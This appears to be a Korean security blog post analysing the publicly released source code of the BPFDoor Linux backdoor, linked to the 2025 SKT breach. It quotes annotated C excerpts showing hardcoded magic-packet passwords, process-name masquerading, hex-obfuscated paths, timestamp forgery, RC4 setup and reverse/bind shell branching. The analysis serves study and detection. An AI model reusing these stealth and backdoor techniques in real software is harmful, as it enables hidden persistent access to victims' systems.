개요
- 2025년 4월 공격자들은 BPFDoor 악성코드를 악용하여 SKT를 해킹, 데이터를 탈취하였다. [참조 1) 3)]
- 2025년 04월 25일 KISA는 해당 해킹 사고와 관련하여 공격에 사용된 악성코드 4종의 Hash와 IoC를 공개하였음.
- BPF(Berkeley Packet Filter)기술을 악용하여 커널 level에서 작동, 고도의 은닉성과 보안 솔루션 탐지 회피의 특징을 가지고 있음
S2W에서 5월 1일에 발간한 BPFDoor 분석 보고서를 보면, 기존 공개된 소스코드를 재차 언급하는 부분이 있다. [참조 2) 3)]
이를 참고하여 기존 공개된 BPFDoor의 소스코드를 수집하였고, 해당 소스코드를 기반으로 분석을 진행해보려고 한다. [참조 Source code]
일련의 사건을 통해 리눅스OS를 대상으로한 악성코드 분석을 공부해볼 계획이다. 두려움 없이 도전해나가면서 배우는 것이 분석가로서 성장하는 가장 큰 마음가짐이라고 생각한다.
해킹 사고에 악용된 악성코드 분석을 진행하기 위해, 초동 대응 시 파악되었던 악성코드 4종 중, 3종을 수집하였으며, 차후 수집이 완료됨에 따라 분석을 진행하고 이에 관련된 악성코드 분석 보고서를 작성해볼 계획이다.
분석 포인트
안랩, S2W의 분석 보고서를 보면, 기존에 공개된 BPFDoor와 최근 해킹 사고에서 발견된 BPFDoor와의 유사성과 차이점에 대해서 중점적으로 다루고 있다. 현재 필자는 분석에 필요한 샘플의 수집 작업이 마무리 되지 않았기 때문에, 먼저 기존 공개된 소스코드를 분석하는 방향으로 내용을 작성해보려고 한다.
주요 분석 포인트는 공개된 소스코드를 기반으로 BPFDoor 악성코드가 어떤 기능을 내포하고 있고, 어떤 과정을 통해 시스템을 감염시키는지에 대해서 중점적으로 작성할 예정이다. 만약 시간적 여유가 난다면 공격 및 피해 시스템을 구성하여 직접 공격을 수행하는 과정에서 기록되는 부분에 대해서도 분석해보고 싶다. (이번 해킹 사고에서 사용된 일부 BPFDoor 악성코드의 pcap 파일을 수집했기 때문에 이 부분도 분석한 뒤 포스팅을 해볼 계획이다.)
주요 내용
분석에 사용된 소스코드는 리눅스 환경에서 동작하는 백도어(BPFDoor) 이다. 이 악성코드는 BPF(Barkeley Packet Filter)기술을 악용하고 있다. BPF는 1992년 BSD Unix 계열에서 처음 도입된 고성능 패킷 필터링 메커니즘이다. 이 기술의 핵심은 "리눅스 커널 안의 작은 VM(레지스터 2개, 4096바이트 스택)을 두고, 필터 프로그램을 바이트코드로 올려 실행한다" 라는 점이다.
BPF는 커널 내부에 존재의 VM에서 구동되는 초경량 프로그램이며, 이를 통해 방화벽, 패킷 스니핑/트레이싱 등 네트워크 및 시스템 계층의 고성능 작업을 안전하게 수행할 수 있다. 아래는 BPF에 대한 특징을 담은 도표이다.
핵심 특징 | 상세 내용 |
커널-공간 실행 | 패킷이 사용자 공간으로 전달되기 전에 필터링 및 샘플링하여 성능 저하를 최소화 한다. (네트워크 패킷이 커널 공간에서 사용자 공간으로 전달되기 위해 메모리 복사가 1번 이상 시행되고, CPU 모드가 시스템콜/컨텍스트 스위치 모드로 전환된다.) |
JIT 컴파일 | 최신 커널은 바이트코드를 네이티브 명령어로 즉시 변환하여 처리 속도가 iptables/nftables 규칙이나 libpcap 필터보다 훨씬 빠르다. (사용자가 로드하는 eBPF 코드는 x86-64, ARM 등 CPU ISA가 아닌 eBPF 바이트코드로 작성된다. 리눅스 커널 3.x 이전에는 커널이 바이트코드를 인터프리터로 한 줄씩 해석하며 실행하였지만, 리눅스 커널 3.15 이상의 버전에서는 eBPF를 로드할 때 바이트 코드를 즉시 기계어로 번역하여(JIT컴파일) 메모리에 캐싱(인터프리터 과정 건너띄고 네이티브 명령으로 실행)한다.) |
안정성 | 커널에 eBPF 코드를 올릴 때, eBPF 검증기가 소스를 정적 분석해 '무한루프 여부', '허용된 메모리 범위만 사용하는지' 를 확인한다. 이 과정에서 로더가 무한 로프 되거나 경계 초과 접근 상황을 사전에 차단하여 커널 패닉을 방지한다. |
유연성(eBPF) | 리눅스 4.x 부터는 "확장(eXtended) BPF"가 추가되어 네트워크 뿐만 아니라 시스템 콜 추적, 보안 모듈, 성능 모니터링 기능까지 지원한다. (ex : cilium, falco, bpstrace) |
Ghidra에서 Script Manager의 PyGidra를 통해 ELF Header section 추출 과정
BPFDoor - main() 소스코드 분석
가장 먼저, main() 함수부터 분석을 시작했다. main() 함수에서 가장 눈길을 끄는 부분이 있었다.
- 하드코딩된 암호 2개의 선언 및 정의 (매직패킷의 비밀번호 검증)
- 하드코딩된 위장용 프로세스 이름 목록(후보) 활용
- 랜덤 위장용 프로세스 이름을 자신의 프로세스명으로 변경하여 은닉 시도
- PID 파일 경로를 헥사로 조립하여 서명 회피 (PID 외에도 BPFDoor는 거의 대부분의 정보를 16진수 헥사 배열로 할당하여 정적 탐지 확률을 최소화하려는 노력을함)
- 실행 주체의 권한을 확인하고 루트가 아닐 경우 프로그램 종료
- 실행 파일의 타임스탬프 조작
- 데몬화 및 시그널 핸들러 설치(좀비 프로세스 수거)
- PID 파일 생성 및 패킷 스니핑 루프 진입(백도어 핵심 함수'packet_loop' 호출)
int main(int argc, char *argv[])
{
// 하드코딩된 암호 2개 선언 및 정의
char hash[] = {0x6a, 0x75, 0x73, 0x74, 0x66, 0x6f, 0x72, 0x66, 0x75, 0x6e, 0x00}; // "justforfun"
char hash2[]= {0x73, 0x6f, 0x63, 0x6b, 0x65, 0x74, 0x00}; // "socket"
// 위장용 프로세스의 이름 후보 목록
char *self[] = {
"/sbin/udevd -d",
"/sbin/mingetty /dev/tty7",
"/usr/sbin/console-kit-daemon --no-daemon",
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event",
"dbus-daemon --system",
"hald-runner",
"pickup -l -t fifo -u",
"avahi-daemon: chroot helper",
"/sbin/auditd -n",
"/usr/lib/systemd/systemd-journald"
};
// MUTEX, PID 파일 경로를 헥사로 조립하여 서명인증 회피
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61; // "/va"
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72; // "r/r"
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f; // "un/"
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c; // "hal"
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75; // "dru"
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e; // "nd."
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64; // "pid"
pid_path[21] = 0x00; // "/var/run/haldrund.pid"
// 프로세스가 이미 실행 중이면 즉시 종료하도록 함
if (access(pid_path, R_OK) == 0) {
exit(0);
}
// 루트가 아니라면 기능 수행 가치가 없으므로 프로그램을 종료함
if (getuid() != 0) {
return 0;
}
// 첫 실행이라면 /dev/shm 경로에 자가 복제 및 재실행 시도
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0) // 성공 시 /dev/shm/kdmtmpflush 경로에 자가복제
_exit(0); // 원본 프로세스 종료
_exit(-1); // 실패 시 비정상 종료
}
// 프로그램 설정 구조체 초기화
bzero(&cfg, sizeof(cfg));
// 프로세스 위장용 이름 및 암호 초기화 과정
srand((unsigned)time(NULL));
strcpy(cfg.mask, self[rand()%10]); // 후보 중 하나를 무작위 선택
strcpy(cfg.pass, hash); // 1차 패스워드
strcpy(cfg.pass2, hash2); // 2차 패스워드
// 실행 파일 타임스탬프 조작 (2008-10-31), setup_time() 함수 참조
setup_time(argv[0]);
// proc/{pid}/cmdline 및 커널 task name 위장
set_proc_name(argc, argv, cfg.mask);
// [Demonization 시작점] 프로세스 fork 후 부모 프로세스를 종료
if (fork()) exit(0);
// 시그널 핸들러 설치 및 좀비 프로세스 수거
init_signal(); // SIGTERM → graceful 종료
signal(SIGCHLD, sig_child); // 좀비 프로세스 수거
godpid = getpid(); // 마스터 PID 저장
// PID 파일 생성
close(open(pid_path, O_CREAT|O_WRONLY, 0644));
// [Demonization 종료점] 데몬 등록 과정
signal(SIGCHLD, SIG_IGN); // 이후 자식 종료 무시
setsid(); // 새 세션 리더
// 패킷 스니핑 루프 진입 (백도어 핵심 함수 호출)
packet_loop();
return 0;
}
1. 하드코딩된 암호 2개 선언 및 정의
BPFDoor는 비밀번호 검증 결과와 페이로드 상태를 기반으로 주요 동작은 분기하도록 설계되어 있다. 이는 백도어가 매직 패킷을 검증하고, RC4 세션을 생성하는 과정에서 사용된다. 원본 소스코드에서는 각 변수의 주석으로 justforfun, socket 이라는 내용이 첨부되어 있다.주석의 내용과 같이, hash 변수는 justforfun, hash2 변수는 socket 이라는 ASCII 값으로 인식될 수 있다.
이 hash, hash2 값은 이후 BPFDoor의 핵심 기능을 구현하는 packet_loop() 내 logon() 함수를 호출하는 과정에서 사용된다. packet_loop() 함수와 logon()함수를 기반으로 이 hash를 설명하기 전에, 먼저 BPFDoor가 공격자로부터 수신받는 매직패킷의 구조부터 살펴봐야한다.
아래 코드블럭은 원본 소스코드의 84~89 라인에 위치해있다. magic_packet struct는 flag, ip, port, pass 4개의 변수를 정의하고 있다. 이는 BPFDoor가 공격자로부터 수신받을 매직패킷의 구조가 정의되어 있는 부분이다.
struct magic_packet{
unsigned int flag;
in_addr_t ip; // 최초 연결할 IP 주소
unsigned short port; // 최초 연결할 포트 번호
char pass[14]; // 입력한 비밀번호 (최대 14자)
} __attribute__ ((packed));
참조-> S2W의 분석 보고서를 참조하면, 최근 skt 해킹 사고에 사용된 변종 BPFDoor의 경우, magic_packet의 구조체에 큰 변동이 있는 것으로 추측된다.
아래 코드는 소스코드에 정의된 logon() 함수이다. 이 함수는 packet_loop() 함수에서 호출된다. 만약 공격자가 보낸 패킷의 pass 변수에 담긴 값이 hash 변수에 하드코딩된 cfg.pass(ASCII : justforfun)과 같다면 0을 반환하고, cfg.pass2(socket) 값과 같다면 1을 반환한다. 또한 첫 번째, 두 번째 해시와 둘다 일치하지 않으면 2를 반환한다.
int logon(const char *hash)
{
int x = 0; // 비교 결과를 저장할 변수 선언
x = memcmp(cfg.pass, hash, strlen(cfg.pass)); //cfg.pass=justforfun, 10바이트만 비교
if (x == 0)
return 0;
x = memcmp(cfg.pass2, hash, strlen(cfg.pass2));
if (x == 0)
return 1;
return 2;
}
아래 소스코드 블럭은 packet_loop() 함수에서 공격자의 매직패킷에 포함된 pass 값과 BPFDoor에 하드코딩된 hash를 비교하는 logon() 함수를 호출하고, 이후의 동작을 분기하는 과정이 담겨있는 부분이다. BPFDoor은 다음의 2개의 조건(cmp값 0, 1) 중 하나라도 만족하는 경우 getShell() 함수를 호출하여 fork 프로세스를 생성한다.
또한, 만약 패스워드 값이 불일치한 경우, ping과 같은 ICMP 프로토콜이나 정해진 규칙 없이 mon() 함수를 호출하여 1byte 데이터를 송신하는 부분도 흥미롭다. 이는 별도의 쉘을 제공하거나 데이터가 많이 담긴 패킷을 생성할 필요 없이 네트워크 소음을 최소화하여 보안솔루션의 탐지를 회피하면서도 keep-alive 역활을 수행 하기 위한 목적으로 추측된다.
cmp 값 | 패스워드 일치 여부 | 동작 내용 | 네트워크 방향 |
0 | logon() 함수의 반환값이 0 (hash와 일치) | try_link()로 BPFDoor -> 공격자 방향으로 역접속 후 Shell() 함수 호출하여 원격쉘 제공 | 아웃바운드 |
1 | logon() 함수의 반환값이 1 (hash2와 일치) | get_shell()로 iptables PREROUTING 규칙 설정 -> 공격자가 들어오는 연결이 생성되면 getshell() 호출하여 원격쉘 제공 | 인바운드(포트포워딩) |
2 | logon() 함수의 반환값이 2 (불일치) | mon() 함수를 호출하여 1byte 상태 알림 데이터 송신 | 아웃바운드(ping과 유사) |
void packet_loop()
{
...
cmp = logon(mp->pass); // 매직 패킷에 실려온 패스워드를 비교검증
switch(cmp) {
case 1: // 두 번째 패스워드가 hash2(socket)와 일치할 때
strcpy(sip, inet_ntoa(ip->ip_src)); // src ip 설정
getshell(sip, ntohs(tcp->th_dport)); // 공격자 쪽에서의 연결을 수신할 준비
break;
case 0: // 첫 번째 패스워드가 hash(justforfun)와 일치할 때
scli = try_link(bip, mp->port); // 대상 Ip(bip)로 역접속 시도
if (scli > 0)
shell(scli, NULL, NULL); // TCP 연결이 성립되면 암호화 쉘 제공
break;
case 2: // 패스워드가 둘다 틀릴 경우
mon(bip, mp->port); // 대상 Ip/Port로 1바이트 값을 가진 mon 패킷 전송(간단한 생존신호)
break;
}
exit(0);
...
}
main() 함수에 가장 첫번째 라인에서 선언된 hash, hash2 변수에 저장된 패스워드 값은 logon() 함수와 BPFDoor의 동작 분기 시점 외에도 추가적으로 사용되는 사항을 확인했다.
packet_loop() 함수에서 logon() 함수가 호출되기 직전 rc4_init() 함수를 호출한 2개의 라인이 존재하는데, 각 rc4_init() 함수 호출 라인에서 첫번째 파라미터로 mp->pass가 제공된다. 이는 logon() 함수가 종료됨에 따라 동작 분기점에서 바로 암호화된 리버스쉘을 제공해주기 위한 "송/수신용 RC4 컨텍스트 초기화" 과정으로 추측된다
logon() 함수에서 cmp 값이 0 또는 1이 반환될 경우, 곧이어 shell() 또는 getshell() 함수를 호출하여 암호화된 터널을 사용하여 공격자에게 즉각 암호화된 리버스쉘을 제공해주어야 하기 때문이다. 패스워드가 틀리다면 cmp 2 값이 리턴되어 세션을 바로 끊지만, 이미 RC4 암호화 컨텍스트가 생성되어 있어도 곧 프로세스가 exit(0)으로 종료되므로 부작용이 없다. hash값은 RC4-MD5 기반의 암호화 스위트를 생성하는데 사용되며, 해당 코드블럭은 아래 도표의 내용과 같은 의미를 가지고 있다.
코드 | 기능 | 의미 |
rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx); | 송신용 RC4 컨텍스트 초기화 과정 (KSA; S-Box 셋업, i/j 카운터 0) |
공격자 -> 백도어로 보내는 모든 바이트를 암호화 할 때 사용 |
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx); | 수신용 RC4 컨텍스트 초기화 | 백도어 -> 공격자로 돌아오는 모든 바이트를 복호화할 때 사용 |
void packet_loop()
{
...
rc4_init(mp->pass, strlen(mp->pass), &crypt_ctx); //공격자->백도어 RC4 암호화 통신
rc4_init(mp->pass, strlen(mp->pass), &decrypt_ctx); //백도어->공격자 RC4 암호화 통신
cmp = logon(mp->pass);
...
}
RC4_init() 함수는 RC4 Key Scheduling Algorithm(KSA)를 수행하여 256 byte의 S-Box와 내부 구조를 만든다. 그 결과는 구조체 (crypt_ctx, decrypt_ctx)에 저장되어 이후 rc4() 호출 시 그대로 사용할 수 있도록 설계되어 있다. 아래 코드블럭은 해당 rc4_init(), rc4() 함수의 구조를 담고 있다.
void rc4_init (uchar *key, int len, rc4_ctx *ctx)
{
uchar index1, index2;
uchar *state = ctx->state;
uchar i;
i = 0;
do {
state[i] = i;
i++;
} while (i);
ctx->x = ctx->y = 0;
index1 = index2 = 0;
do {
index2 = key[index1] + state[i] + index2;
xchg(&state[i], &state[index2]);
index1++;
if (index1 >= len)
index1 = 0;
i++;
} while (i);
}
void rc4_init (uchar *key, int len, rc4_ctx *ctx)
{
...
}
2. 하드코딩된 위장용 프로세스 이름 목록(후보)
BPFDoor는 실행 중인 프로세스의 이름을 하드코딩된 값 중에서 랜덤하게 정하여 사용한다. 아래 표는 BPFDoor가 미리 지정한 위장용 프로세스 이름의 후보 목록이다.
"/sbin/udevd -d"
"/sbin/mingetty /dev/tty7"
"/usr/sbin/console-kit-daemon --no-daemon"
"hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event"
"dbus-daemon --system"
"hald-runner"
"pickup -l -t fifo -u"
"avahi-daemon: chroot helper"
"/sbin/auditd -n"
"/usr/lib/systemd/systemd-journald"
정상 시스템에서의 각 프로세스 별 데몬의 역활은 다음과 같다. BPFDoor는 아래 도표와 같은 정상 프로세스로 자신의 프로세스명을 위장하여 피해 시스템의 침해 대응자가 ps, top, /proc/*/cmdline 등의 명령어를 통해 시스템을 점검할 때 백도어가 정상 시스템 데몬처럼 보이도록 이름을 속이도록 동작한다.
BPFDoor 코드 배열 인덱스 |
문자열 | 실제 정상 데몬의 예시 | 위장 효과 |
0 | /sbin/udevd -d | UDev 장치 관리 데몬 | 거의 모든 리눅스에서 항상 동작함 |
1 | /sbin/mingetty /dev/tty7 | mingetty 가상 콘솔 로그인 데몬 | 오래된 배포판에서 흔하게 사용됨 |
2 | /usr/sbin/console-kit-daemon --no-daemon | console-kit 데몬 | GNOME 세션 관리 용도의 데몬으로 주로 사용됨 |
3 | hald-addon-acpi: listening on acpi kernel interface /proc/acpi/event | HAL ACPI 애드온 데몬 | 구형 HAL 서브 프로세스 |
4 | dbus-daemon --system | 시스템 D-Bus 데몬 | 거의 모든 리눅스에서 항상 동작하는 필수 서비스 |
5 | hald-runner | HAL 러너 데몬 | HAL 데몬 구동 서비스 |
6 | pickup -l -t fifo -u | Postfix 메일 큐 모듈 데몬 | 메일 서버 관리 데몬 |
7 | avahi-daemon: chroot helper | Avahi mDNS 데몬 | 데스크탑 배포판에서 기본서비스로 설치 및 제공됨 |
8 | /sbin/auditd -n | auditd 데몬 | 보안 감사 데몬 |
9 | /usr/lib/systemd/systemd-journald | journald 데몬 | systemd 로그 데몬 |
위와 같이 소스코드에서 하드코딩된 위장용 프로세스 후보 목록에서 BPFDoor 악성코드는 랜덤한 값을 정하여 사용한다. 이를 정하는 알고리즘은 main() 함수의 초반부에 위치하고 있다.
int main(int argc, char *argv[])
{
...
"/sbin/auditd -n",
"/usr/lib/systemd/systemd-journald"
};
// 프로세스 위장용 이름 및 암호 초기화 과정
srand((unsigned)time(NULL));
strcpy(cfg.mask, self[rand()%10]); // 후보 중 하나를 무작위 선택
strcpy(cfg.pass, hash); // 1차 패스워드
strcpy(cfg.pass2, hash2); // 2차 패스워드
...
}
srand() 함수를 사용하여 0~9 중 난수를 만들어 self[] 인덱스로 사용한다. 다음 라인인 "strcpy(cfg.mask, self[rand()%10]);" 부분에서 무작위 선택된 문자열을 cfg.mask 변수에 저장한 뒤, set_proc_name() 함수의 파라미터로 전달한다.
3. 랜덤 위장용 프로세스 이름을 자신의 프로세스명으로 변경하여 은닉 시도
앞선 "2. 하드코딩된 위장용 프로세스 이름 목록(후보) 활용 "에서 무작위 선택된 위장용 프로세스명을 cfg.mask 변수에 저장한 뒤, set_proc_name() 함수는 이를 받아 적용하는 역활을 하는 것으로 확인하였다.
아래 코드블록은 set_proc_name() 함수를 라인별로 분석한 것이다.
int set_proc_name(int argc, char **argv, char *new)
{
size_t size = 0;
int i;
char *raw = NULL;
char *last = NULL;
argv0 = argv[0]; // (1) 최초 argv[0] 포인터를 전역에 백업
for (i = 0; environ[i]; i++) // (2) 환경 변수(environ[]) 전체 길이를 계산
size += strlen(environ[i]) + 1; //+1 은 NULL 종단 문자까지
raw = (char *)malloc(size); //(3) 환경 변수 문자열을 따로 복사해 둘 버퍼 확보
if (raw == NULL)
return -1;
/* (4) 원래 environ 영역 → 새 버퍼로 복사 후 environ[i] 포인터를 새 버퍼 위치로 업데이트 */
for (i = 0; environ[i]; i++) {
memcpy(raw, environ[i], strlen(environ[i]) + 1);
environ[i] = raw; // 포인터 덮어쓰기
raw += strlen(environ[i]) + 1; // 다음 복사 위치
}
last = argv[0]; // (5) argv/환경변수가 차지하던 연속 메모리 구간의 끝 부분 계산
for (i = 0; i < argc; i++)
last += strlen(argv[i]) + 1; // 모든 argv 길이 누적
for (i = 0; environ[i]; i++)
last += strlen(environ[i]) + 1; // environ 길이 누적
// (6) argv[0] ~ last-1 까지 0으로 덮어쓰고, 새 프로세스 명 삽입
memset(argv0, 0, last - argv0); // 공간 완전 초기화
strncpy(argv0, new, last - argv0); // 새 이름 기록
// (7) /proc/<pid>/status 의 Name 필드도 변경하여 커널 task 이름 변경
prctl(PR_SET_NAME, (unsigned long)new);
return 0;
}
리눅스 프로세스의 argv[] 와 environ[] 에 저장된 문자열은 메모리 상에 연속적으로 저장되는 특징을 가지고 있다. 새 이름이 길면 기존 메모리를 덮어쓰게 되므로, (1) 충돌을 피하려고 환경 변수만 별도 버퍼에 복사하고 포인터를 갱신한다. (2~5) argv[0] 부터 마지막 환경 변수 끝까지의 범위를 계산한다. (이 범위의 구간을 자유롭게 덮어 씌울 수 있음) (6) argv[0] 부터 마지막 환경 변수의 끝 주소까지의 범위를 memset() 함수로 깨끗하게 지운 뒤, (6)랜덤하게 지정된 위장용 프로세스 데몬 문자열을 기록한다. 이 과정을 통해 BPFDoor는 /proc/{pid}/cmdline 명령어의 출력에서도 프로세스의 명령줄 전체가 위장용 정상 프로세스 데몬으로 표시된다. 또한, ps, top 과 같은 유틸또한 이에 속하 정상 데몬 프로세스로 위장된 BPFDoor를 출력하게 된다. (7)마지막 라인에서 "prctl(PR_SET_NAME, ...)" 코드 라인을 실행하는데, 이 호출로 인해 /proc/{pid}/status 의 Name 필드와 커널 로그에 표시되는 프로세스명도 정상 프로세스로 속여 위장시킬 수 있다.
프로세스 위장을 위해 부팅/시스템 데몬과 같은 정상 데몬 프로세스와 동일한 이름/명령줄을 만들어 관리자가 주로 사용하는 관리용 유틸(ps, top 등)으로 존재를 눈치채기 어렵게 만든다. 또한, 공격자는 이 과정을 구현하며 안정적인 동적 메모리 활용 구조를 설계하였고, 이를 통해 백도어의 은닉성을 보장받는 이점을 얻는다.
- 숨겨진 문자열 리터럴 : 새롭게 지정될 프로세스명은 호출부에서 배열(self[] - 위장용 프로세스 이름 목록)에서 무작위로 선택, 공격 흔적이 평문으로 드러나지 않는다.
- 탐지 우회 : 시그니처 기반 도구가 "bpfdoor"와 같은 실제 바이너리 이름을 찾지 못하게 한다.
- 동적 길이 대응 : 환경 변수까지 복사해두어, 새롭게 지정될 위장 프로세스명이 예상된 길이보다 더 크더라도 메모리 충돌 없이 안전하게 overload 가능
참조> 최근 발표된 KISA의 hash 및 IoC 정보 공유 내용에서 보다시피, 최근 공격에 사용된 BPFDoor 파일들의 파일명은 dbus-srv-bin.txt, hald-addon-volume 등 파일의 이름을 정상 프로세스와 같이 변경하는 방식을 활용한다. 이러한 경우 더더욱 탐지가 어려울 것이라고 추측된다.
4. PID 파일 경로를 헥사로 조립하여 서명 회피
BPFDoor는 PID 경로를 헥사로 조립하여 사용하는 설계를 통해 보안솔루션 및 YARA Rule이 문자열 섹션을 평문 탐색할 때 "/var/run/haldrund.pid" 와 같은 패턴이 보이지 않도록 분해하여 코드를 작성한다.
"pid_path"라는 전역 문자 배열에 각 바이트당 16진수 값을 하나씩 할당하여 문자열 "/var/run/haldrund.pid" 를 완성시킨다. 마지막 배열인 pid_path[21] 부분에서 0x00(NULL 문자) 를 삽입하여 C문자열로서 종료 시점을 알리는 방식이다. 이 때 조합된 헥사 배열은 이후 코드에서 "access(pid_path, R_OK)", "open(pid_path, ..)", "remove_pid()" 와 같은 작업에서 사용되며, 이 pid_path 헥사 배열을 BPFDoor는 Mutex 파일로서 활용한다.
int main(int argc, char *argv[])
{
...
// MUTEX, PID 파일 경로를 헥사로 조립하여 서명인증 회피
pid_path[0] = 0x2f; pid_path[1] = 0x76; pid_path[2] = 0x61; // "/va"
pid_path[3] = 0x72; pid_path[4] = 0x2f; pid_path[5] = 0x72; // "r/r"
pid_path[6] = 0x75; pid_path[7] = 0x6e; pid_path[8] = 0x2f; // "un/"
pid_path[9] = 0x68; pid_path[10] = 0x61; pid_path[11] = 0x6c; // "hal"
pid_path[12] = 0x64; pid_path[13] = 0x72; pid_path[14] = 0x75; // "dru"
pid_path[15] = 0x6e; pid_path[16] = 0x64; pid_path[17] = 0x2e; // "nd."
pid_path[18] = 0x70; pid_path[19] = 0x69; pid_path[20] = 0x64; // "pid"
pid_path[21] = 0x00; // "/var/run/haldrund.pid"
// 프로세스가 이미 실행 중이면 즉시 종료하도록 함
if (access(pid_path, R_OK) == 0) {
exit(0);
}
...
// 첫 실행이라면 /dev/shm 경로에 자가 복제 및 재실행 시도
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0) // 성공 시 /dev/shm/kdmtmpflush 경로에 자가복제
_exit(0); // 원본 프로세스 종료
_exit(-1); // 실패 시 비정상 종료
}
...
close(open(pid_path, O_CREAT|O_WRONLY, 0644)); // PID 파일 생성
...
}
5. 실행 주체의 권한을 확인하고 루트가 아닐 경우 프로그램 종료
BPFDoor는 현재 실행 중인 프로세스의 UserID를 확인하고 반환된 값이 root인지 확인한다. BPFDoor은 루트 권한을 보유한 경우에만 실행된다. root 권한이 확인되면 "/dev/shm/kdmtmpflush" 경로에 자가복제를 시도한다. 하지만 프로세스가 root 권한을 가지고 있지 않은 경우 자체적으로 프로세스를 종료한다.
int main(int argc, char *argv[])
{
...
// 루트가 아니라면 기능 수행 가치가 없으므로 프로그램을 종료함
if (getuid() != 0) {
return 0;
}
// 첫 실행이라면 /dev/shm 경로에 자가 복제 및 재실행 시도
if (argc == 1) {
if (to_open(argv[0], "kdmtmpflush") == 0) // 성공 시 /dev/shm/kdmtmpflush 경로에 자가복제
_exit(0); // 원본 프로세스 종료
_exit(-1); // 실패 시 비정상 종료
}
...
}
참조> (S2W의 분석 보고서를 보면 최근 해킹 사고에서 사용된 BPF변종의 경우 자가복제 함수 호출 부분이 제거되어 있음을 확인하는 내용이 있다.)
6. 실행 파일의 타임스탬프 조작
BPFDoor는 타임스탬프를 2008년으로 조작하여 탐지를 피하는 시도를 한다. 아래 코드블럭은 main() 함수내 선언된 타임스탬프 변경 관련 코드블럭이다.
int main(int argc, char *argv[])
{
...
// 실행 파일 타임스탬프 조작 (2008-10-31)
setup_time(argv[0]);
...
}
setup_time() 함수의 내부 값을 보면, "tv[0].tv_sec" 과 tv[1].tv_sec" 변수 모두 "1225394236"으로 하드코딩되어 있다.
static void setup_time(char *file)
{
struct timeval tv[2];
tv[0].tv_sec = 1225394236;
tv[0].tv_usec = 0;
tv[1].tv_sec = 1225394236;
tv[1].tv_usec = 0;
utimes(file, tv);
}
두 변수에 저장된 "1225394236" 값은 초단위 TimeStamp로, date 명령을 통해 사람이 알아보기 쉬운 형식으로 변환할 수 있다.
date -u -d "@1225394236" +"%Y-%m-%d %H:%M:%S"
명령 실행 결과, 위 사진과 같은 TimeStamp가 출력되었다. BPFDoor는 이 시점의 값으로 자신의 TimeStamp를 수정하려고 시도한다.
7. 데몬화 및 시그널 핸들러 설치(좀비 프로세스 수거)
BPFDoor는 자기 자신을 데몬 프로세스로 전환하고, 부모 프로세스를 종료시킨다. 이 과정은 main() 함수에서 진행되며, 이 작업 중 fork() 함수를 호출하여 자식 프로세스를 생성하고 packet_loop() 함수를 호출하여 해당 함수가 실행되는 과정에서, 자식 프로세스의 작업 디렉터리를 "/" 경로로 변경한다.
int main(int argc, char *argv[])
{
...
// [Demonization 시작점] 프로세스 fork 후 부모 프로세스를 종료
if (fork()) exit(0);
// 시그널 핸들러 설치 및 좀비 프로세스 수거
init_signal(); // SIGTERM → graceful 종료
signal(SIGCHLD, sig_child); // 좀비 프로세스 수거
godpid = getpid(); // 마스터 PID 저장 (이 PID가 종료 핸들러에서 사용됨)
// PID 파일 생성
close(open(pid_path, O_CREAT|O_WRONLY, 0644));
// [Demonization 종료점] 데몬 등록 과정
signal(SIGCHLD, SIG_IGN); // 이후 자식 종료 무시
setsid(); // 새 세션 리더
...
}
자식 프로세스의 작업 디렉터리를 루트("/")로 변경하는 코드라인
또한, BPFDoor는 자식 프로세스를 종료할 때, Mutex 파일을 삭제하기 위해서 종료 핸들러를 사용한다. OS 커널 또는 사용자가 프로세스 종료를 요청할 때 발생하는 SIGTERM 시그널을 종료 핸들러가 수신받으면, main() 함수의 데몬화 과정(초기 설치 과정)에서 저장된 PID와 현재 PID가 일치하는 경우에만 Mutex 파일을 삭제하고 종료하도록 설계되어 있다. 이 때 삭제 대상인 Mutex 파일은 main() 함수에서 정의된 pid_path 헥사 배열을 조합한 "/var/run/haldrund.pid" 이다.
static void terminate(void)
{
if (getpid() == godpid) // BPFDoor가 설치될 때 저장한 PID와 일치하는지 확인
remove_pid(pid_path); // MUTEX 파일 삭제 (/var/run/haldrund.pid)
_exit(EXIT_SUCCESS);
}
static void on_terminate(int signo) // 2번째 실행 - terminate() 호출
{
terminate();
}
static void init_signal(void) // 1번째 실행 - 종료 핸들러
{
atexit(terminate);
signal(SIGTERM, on_terminate); // on_terminate() 호출
return;
}
terminate() 함수에서 사용되는 "godpid" 는 main() 함수에서 전역변수로 저장된 부모 프로세스의 PID를 사용한다.
int main(int argc, char *argv[])
{
...
// [Demonization 시작점] 프로세스 fork 후 부모 프로세스를 종료
...
godpid = getpid(); // 마스터 PID 저장 (이 PID가 종료 핸들러에서 사용됨)
...
}
BPFDoor - packet_loop() 소스코드 분석
packet_loop() 함수는 피해 시스템의 NIC를 스니핑하여 공격자의 페이로드에 포함된 특정 매직패킷이 보이면 곧바로 fork() 함수로 자식 프로세스를 데몬화해 암호화 쉘을 공격자에게 제공하는 역활을 수행한다. BPF필터, Raw 소켓 설정 및 생성, 프로세스 위장, 이중 fork 설계, RC4 암호화 세션 설정 과 같은 절차가 이 packet_loop() 함수 안에 응집되어 있기 때문에, 이 함수에서 BPFDoor 악성코드의 은폐/지속/제어 역활의 핵심을 담당하고 있다고 판단된다.
아래 도표는 packet_loop()함수에서 파악된 BPFDoor의 핵심 기능들을 단계와 설명으로 나누어 작성한 도표이다.
단계 | 설명 |
1. BPF 필터 준비 | 0x7255, 0x5293 서명 + TCP/UDP/ICMP 헤더 조건으로 “매직 패킷”만 통과시킴 |
2. Raw 소켓 설정 | socket(PF_PACKET, SOCK_RAW, ETH_P_IP) -> NIC에서 IP 패킷을 그대로 받음 |
3. 무한 루프 수신 | 512B 고정 버퍼 사용하여 은닉성 높임 무한 루프 진입해도 안정성 높음 |
